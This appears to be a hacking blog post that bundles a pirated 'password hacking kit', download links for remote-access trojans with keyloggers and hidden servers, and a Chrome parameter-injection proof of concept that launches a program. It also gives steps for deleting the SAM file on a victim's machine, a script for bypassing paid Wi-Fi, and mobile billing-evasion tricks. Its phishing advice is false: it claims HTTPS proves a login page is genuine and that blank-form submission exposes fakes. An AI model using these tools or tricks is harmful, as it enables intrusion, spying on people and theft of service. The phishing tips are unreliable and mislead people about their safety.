Best password Hacking Tools 2011

Hello Friends , Today I am sharing with you my latest Collection of "Best Password Hacking Tools 2011". Using this password hacking kit you will be able to crack a lot of passwords like Windows Admin password, pdf passwords, zip files passwords, document passwords, rar passwords and much more.. I am sure you will like this post.

This Password Hacking Kit Consists of following Password Hacking Breaking Tools:

1. PDF Password Remover

2. Windows XP Admin Password Remover

3. Zip File Password Cracker.

4. SQL Password Remover

5. Microsoft Office Password Remover.

6. Microsoft Windows Vista Password Remover.

7. Rar File Password Cracker

8. Windows Password Recovery Kit

9. Password Changer.

10. Distributed File Password Recovery..

and much more..

As the name of the tools suggests its a complete password hacking Kit. So guys Enjoy Latest Hacking tools ..

How to Use it??

1. Download the Password Hacking Kit From Below:

DOWNLOAD

2. Extract the file and Install it.

3. Then Register them and use it. ( all tools contains Full serial keys and patches)..

LCP 5.04

Overview :
Main purpose of LCP program is user account passwords auditing and recovery in Windows NT/2000/XP/2003.
General features of this product:
* Accounts information import:
o import from local computer;
o import from remote computer;
o import from SAM file;
o import from .LC file;
o import from .LCS file;
o import from PwDump file;
o import from Sniff file;
* Passwords recovery:
o dictionary attack;
o hybrid of dictionary and brute force attacks;
o brute force attack;
* Brute force session distribution:
o sessions distribution;
o sessions combining;
* Hashes computing:
o LM and NT hashes computing by password;
o LM and NT response computing by password and server challenge.
SID&User program is SID and user names getting tool for Windows NT/2000/XP/2003.
General features of this product:
* SID getting for a given account name;
* Getting of an account name for single SID or account names for SID range.
Download :
http://www.lcpsoft.com/english/download.htm

TrueCrypt – Free Open-Source Disk Encryption Software

 

TrueCrypt is a software system for establishing and maintaining an on-the-fly-encrypted volume (data storage device). On-the-fly encryption means that data are automatically encrypted or decrypted right before they are loaded or saved, without any user intervention. No data stored on an encrypted volume can be read (decrypted) without using the correct password/keyfile(s) or correct encryption keys. Entire file system is encrypted (e.g., file names, folder names, contents of every file, free space, meta data, etc).
Files can be copied to and from a mounted TrueCrypt volume just like they are copied to/from any normal disk (for example, by simple drag-and-drop operations). Files are automatically being decrypted on-the-fly (in memory/RAM) while they are being read or copied from an encrypted TrueCrypt volume. Similarly, files that are being written or copied to the TrueCrypt volume are automatically being encrypted on-the-fly (right before they are written to the disk) in RAM. Note that this does not mean that the whole file that is to be encrypted/decrypted must be stored in RAM before it can be encrypted/decrypted. There are no extra memory (RAM) requirements for TrueCrypt. For an illustration of how this is accomplished, see the following paragraph.
New features :
* Ability to encrypt a non-system partition without losing existing data on the partition. (Windows Vista/2008)Note: To encrypt a non-system partition in place, click ‘Create Volume‘ > ‘Encrypt a non-system partition‘ > ‘Standard volume‘ > ‘Select Device‘ > ‘Encrypt partition in place‘ and then follow the instructions in the wizard. Please note that this is not supported on Windows XP/2000/2003 as these versions of Windows do not natively support shrinking of a filesystem (the filesystem needs to be shrunk to make space for the volume header and backup header).
* Support for security tokens and smart cards (for more information, see section Security Tokens and Smart Cards in chapter Keyfiles).
* The TrueCrypt boot loader can be prevented from displaying any texts (by selecting Settings > System Encryption and enabling the option ‘Do not show any texts in the pre-boot authentication screen’).
* The TrueCrypt boot loader can now display a custom message (select Settings > System Encryption and enter the message in the corresponding field) either without any other texts or along with the standard TrueCrypt boot loader texts.
* Pre-boot authentication passwords can now be cached in the driver memory, which allows them to be used for mounting of non-system TrueCrypt volumes (select Settings > System Encryption and enable the option ‘Cache pre-boot authentication password‘).
* Linux and Mac OS X versions: The ability to mount a Windows system partition encrypted by TrueCrypt and to mount a partition located on a Windows system drive that is fully encrypted by a Windows version of TrueCrypt.
Latest Stable Version – 6.1a
Download :
http://www.truecrypt.org/downloads.php

SniffPass v1.07

 

SniffPass is small freeware utility that listens to your network, capture the passwords that pass through your network adapter, and display them on the screen instantly.
SniffPass can capture the passwords of the following Protocols: POP3, IMAP4, SMTP, FTP, and HTTP (basic authentication passwords).
You can use this utility to recover lost Web/FTP/Email passwords.
Download :
http://www.nirsoft.net/utils/sniffpass.zip
More Info :
http://www.nirsoft.net/utils/password_sniffer.html

Evil-DisConnect-V1.0 Update V2.0

 

Download :
http://www.2shared.com/file/3642119/f2d54b3e/Evil_Disconnect_v10_Fixed.html

Terror Begin

 

6 YM Option
6 Client Option
1 yahelite Lagger Option
Download :
http://www.2shared.com/file/4227318/60fed6cc/T-Begin1.html
http://rapidshare.com/files/161202363/T-Begin1.zip.html
http://www.4shared.com/file/70005998/bc2973aa/T-Begin1.html

PHP mbstring Buffer Overflow Vulnerability

 

Summary :
PHP is “a scripting language extensively used in web application development. The package contains a number of language extensions aside from the language core”.
A heap buffer overflow was found in mbstring extension that is bundled in the standard distribution. mbstring extension provides a set of functions for the manipulation of multibyte / Unicode strings.
The vulnerability occurs in the part of the encoding conversion facility that decodes strings that contain HTML entities into Unicode strings. Due to the decoder’s incorrect handling of error conditions, the bounds check for a heap-allocated buffer is effectively bypassed. An attacker can exploit this vulnerability to transfer arbitrary data to a specific region of the heap if he gains control over the input of the decoder.
Credit :
The information has been provided by Moriyoshi Koizumi. [mozo at mozo.jp]
Vulnerable Systems :
* PHP version 4.3.0 or newer
Immune Systems :
* PHP versions prior to 4.3.0
* PHP version 5.2.7
* PHP version 5.3 alpha 3
Details :
The following pieces are excerpts from the HTML-entity decoder code in question (mbfilter_htmlent.c), where the decoder is implemented as a callback function that is called against each characters of the input string sequentially with a structure (mbfl_convert_filter) containing the state of the decoder.
mbfl_convert_filter has a field named “output_function” that points to a function to which the decoded data is passed on a per-character basis. The function is supposed to return a negative value on error. It will most likely fail if the argument is an Unicode value that is not designated to any character.
In particular, since the signature of the output_function is int(*)(int, void *) though the buffer is an array of unsigned char, every character code that is greater than 127 gets passed to the function with its value negated and leads to unconditional failure.
Impact :
Since mbstring functions make use of the facility in various places, almost all of those can be considered vulnerable. The functions listed below should be particularly noted according to their primary usage:
- mb_convert_encoding()
- mb_check_encoding()
- mb_convert_variables()
- mb_parse_str()
The following functions are supposed to be safe in their nature.
- mb_decode_numericentity() *
- mb_detect_encoding()
- mb_detect_order()
- mb_ereg()
- mb_ereg_match()
- mb_ereg_replace()
- mb_ereg_search()
- mb_ereg_search_pos()
- mb_ereg_search_regs()
- mb_ereg_search_init()
- mb_ereg_search_getregs()
- mb_ereg_search_getpos()
- mb_ereg_search_setpos()
- mb_ereg_set_options()
- mb_eregi()
- mb_eregi_replace()
- mb_get_info()
- mb_http_input()
- mb_http_output()
- mb_internal_encoding()
- mb_language()
- mb_list_encodings()
- mb_preferred_mime_name()
- mb_regex_encoding()
- mb_regex_set_options()
- mb_split()
- mb_substitute_character()
(*) Based on the different code while providing similar functionality.
Besides these scriptable functions, mbstring provides functionality that automatically filters the form values given through a request URI or POSTed content. Because browsers may send characters of the form data that cannot be represented in the encoding used in the HTML document as HTML entities, it should be no surprise that an user has a PHP installation configured as
follows:
mbstring.encoding_translation=on
mbstring.http_input=HTML-ENTITIES
mbstring.internal_encoding=UTF-8
The vulnerability would be remotely exploitable in such a case.
Solution :
Upgrade to version 5.2.8. Note that the maintenance of 4.x series was discontinued.
Source : SecuriTeam
http://www.securiteam.com/unixfocus/6X00P0ANFM.html

Google Chrome Browser (ChromeHTML://) remote parameter injection POC

 

<!–
Google Chrome Browser (ChromeHTML://) remote parameter injection POC
by Nine:Situations:Group::bellick&strawdog
Site: http://retrogod.altervista.org/
tested against: Internet Explorer 8 beta 2, Google Chrome 1.0.154.36, Microsoft Windows XP SP3
List of command line switches:
http://src.chromium.org/svn/trunk/src/chrome/common/chrome_switches.cc
Original url: http://retrogod.altervista.org/9sg_chrome.html
click the following link with IE while monitoring with procmon
–>
<a href=’chromehtml:www.google.com”%20–renderer-path=”c:\windows\system32\calc.exe”%20–”‘>click me</a>
# milw0rm.com [2008-12-23]

Nuclear RAT 2.1.0

 

* Programmed by: Caesar2k
* Date added / updated: September 4th 2007
* Downloads: 80685
* File size: 1.26MB
* Coded in: Delphi
* Section: Remote Administration Tools & Spy
* Compatibility: Windows NT, 2K, XP, Vista
Download :
http://www.nuclearwintercrew.com/Products-View/21/Nuclear_RAT_2.1.0/

Google I'm feeling lucky tricks

 

Google has amazing things, I'm feeling lucky is one of them. I have some interesting I'm feeling lucky tricks for you. Just type the following words in Google search and click on I'm feeling lucky to see amazing results

1. Google gravity
2. elgooG
3. Google pacman
4. Find chak norris  
5. Google Easter Eggs
6. Early Google
7. Google Heart Page   
8. Google sphere 
9. Google gothic
10. who's awesome
11. poopgle
12. Google l33t 

Create themes for your Nokia phone

 

Now you can create your own themes for your Nokia phone. www.goggagmobile.com gives you the option to create themes for your Nokia for free. To do this follow these steps

• Go to www.goggagmobile.com

• Now click on create

• select your phone's series

• now show your creativity and make your themes

Check a login page is real or fake

 

Hackers use this trick very often. They send you a link via email or other method. when you click on that link you find a login page there. They insist you t enter your personal information on it like email id, password etc. When you enter this detail in that login form your account can be hacked. But you can test whether this login page is real or fake by following methods.

1. When you open that login page see your address bar if you find their HTTPS then this page is not a fake page. In HTTPS "s" means Secure. No hacker can make a secure fake login page.

2. This is also an very simple method when you open that login page don't fill the information & click on submit means leave all the column blank and click on submit. If this page is a fake page then it will take you to another page directly otherwise you will get an error message that you'll have to fill all the column.

so by using these method you can make yourself safe.

Delete administrator Password without any software

 

 1. Put your hard disk of your computer in any other pc .2. Boot that computer and use your hard disk as a secondary hard disk (D'nt boot as primary hard disk ).3. Then open that drive in which the victim’s window(or your window) is installed.4. Go to location windows->system32->config5. And delete SAM.exe and SAM.log
6. Now remove hard disk and put in your computer.
7. And boot your computer.

How to Block Unwanted Emails

If You want to block some unwanted emails in gmail then follow these steps

1. Login to your account

2. At the top-right corner, click on Settings

3. Under Settings, click on Filters

4. You’ll now see an option “Create a new filter“, click on it

5. Now in the Form field enter the email address from which you do not want to receive emails

For ex. you may enter abc@xyz.com in the From field to block all incoming emails from this address. However if you want to block the whole domain then use the following syntax: *@xyz.com. Now all the incoming emails from the domain xyz.com will be blocked.

6. Click on Next Step, select the action you’d like to take on the blocked emails. You may select the option Delete it so that the blocked email is moved to trash. To unblock the email, all you need to do is just delete the filter that you’ve created.

RapidHacker 4.2 Final

 

This Tool Enables you to download from Rapidshare.com without any problem.
What you have to do is to just paste the rapidshare.com link, then your download will start automatically.
You can queue rapidshare.com links. Download will start one after another automatically.
Also contains a tool for unlimited download from rapidshare.com. After Reaching The Download Limit Rapidshare Blocks You And Force You To Wait Hours / To Buy Premium Account Then you have to run the tool.
Then you can again download from Rapidshare.com Even though RapidHacker, says RapidHacker, it can also be used for any other Download site. e.g Megaupload, and soforth.
Download :
http://w15.easy-share.com/1702245363.html

Access Free Airtel GPRS Using TeaShark Browser

TeaShark, a mobile browser like Opera Mini, allow you to access Airtel GPRS for FREE.
Shockingly it has nothing to do with modifying any Airtel settings or any kind of hack.
Here is how I used this…
* Download TeaShark v. 312. Its free and being JAR file it can be installed on most handsets.
* Open it from your mobile and select AirTel Live as access point.
* That’s it! Open any site from TeaShark and you won’t be charged anything.
Note for the first time, when TeaShark starts, it may take more than one minute to initialize. Also this one time initialization may fail many times. But don’t loose your heart!
As of now, this trick is limited to handsets only.
Note : “Subscribe to Packet Data First”
This means you need to activate AirTel Live service which is free.
Contact customer care to get it activated.
Also select only AirTel Live as access point when prompted by TeaShark.
Download TeaShark :
http://teashark.com/download.html

Turkojan 4

 

Features :
* Reverse Connection
* Remote Desktop(very fast)
* Webcam Streaming(very fast)
* Audio Streaming
* Thumbnail viewer
* Remote passwords
* MSN Sniffer
* Remote Shell
* Web-Site Blocking
* Chat with server
* Send fake messages
* Advanced file manager
* Zipping files&folders
* Find files
* Change remote screen resolution
* Mouse manager
* Information about remote computer
* Clipboard manager
* IE options
* Running Process
* Service Manager
* Keyboard Manager
* Online keylogger
* Offline keylogger
* Fun Menu
* Registry manager
* Invisible in Searching Files/Regedit/Msconfig
* Small Server 100kb
Download :
http://www.4shared.com/file/72543880/bd92d968/TurkojaN_4.html
http://w14.easy-share.com/1702095672.html

Hacking Free Wifi With URL Tricks

 

You can leech free wifi from some paid hotspots by monkeying around with the URLs.
Most paid wifi hotspots accept your browser’s request and then redirect you to a login page where you need to pay to access the network.
But some systems of this nature are set up in such a way that images and other direct file requests seem to slip through without the redirect to the login page.
It’s essentially an oversight on the network administrator’s part, so it may not work with every hotspot.
But here’s the hack: just append ?.jpg to the end of your queries to trick the network into loading the full web page for free.
The browser passes this info along as an extra parameter and the site in question will likely just ignore it, loading the page as normal.
Of course this tip comes from a blog post that’s nearly two years old, so there’s no guarantees.
But here’s the basic code, which I pulled from a commenter on Lifehacker’s write up:
if (window.location.toString().match(".jpg") == null) {
window.location.replace(window.location + '?.jpg');
}Save that as JavaScript file and add it to Firefox via Greasemonkey and give it a shot.
Of course since there are plenty of free networks in most places, there isn’t much point to hacking paid networks.
But for situations like airports, hotels and other isolated, expensive networks, it could come in handy.
Is it legal? No idea. I’m not a lawyer, so use this info at your own risk.
If you try it, be sure to let us know how it works

Latest Airtel Mobile Hack

 

Now a days Airtel gives New option to the Subscriber to access Mobile Office daily @ Rs.25.00/- per day. But this is too Costly.
Only 24 hours and the cost is Rs.25.00 Oh GOD!!
But I got a Trick that’s help me to Activate my Mobile Office whole 30 days only for 25.00/. Its really good.
Just follow the Trick-
1) Your account balance should be above 25.00 for the first time.
2) Activate your mobile office by dialing *444*1#. You will Activate your Mobile Office in the Morning.
3) You got an Activation msg. Your account should deducted by Rs. 25.00/-
4) After that your can enjoy mobile office for 24 hours.
5) But for unlimited access you will do this :: Just switch off your mobile from 7.00 am to 10.00am. and your account balance should be below 25.00 /
6) Just try it enjoy the whole world only by 25.00.
I am Sure you should be Benefited. JUST TRY IT!!!!!!!!!

TJX Credit Card Hackers Busted – Largest US Data Breach

 

The US authorities have charged 11 people in connection with the theft of credit-card details in the country’s largest-ever identity theft case.
They are accused of stealing more than 40 million credit and debit card numbers before selling the information.
They allegedly hacked into the computer systems of several major US retailers and installed software to access account details and passwords. Prosecutors said the alleged fraud was an “international conspiracy”.
Three of those charged are US citizens. The others come from Estonia, Ukraine, Belarus and China.
The 11 suspects are alleged to have obtained card numbers, account information and password details by driving around neighbourhoods and hacking into wireless equipment.
They are said to have then concealed the information in computer servers both in the US and Europe.
The Department of Justice said the scam caused “widespread” losses among banks, retailers and ordinary consumers – although it did not put a precise figure on the financial damage.
Source: BBC News
http://news.bbc.co.uk/2/hi/business/7544083.stm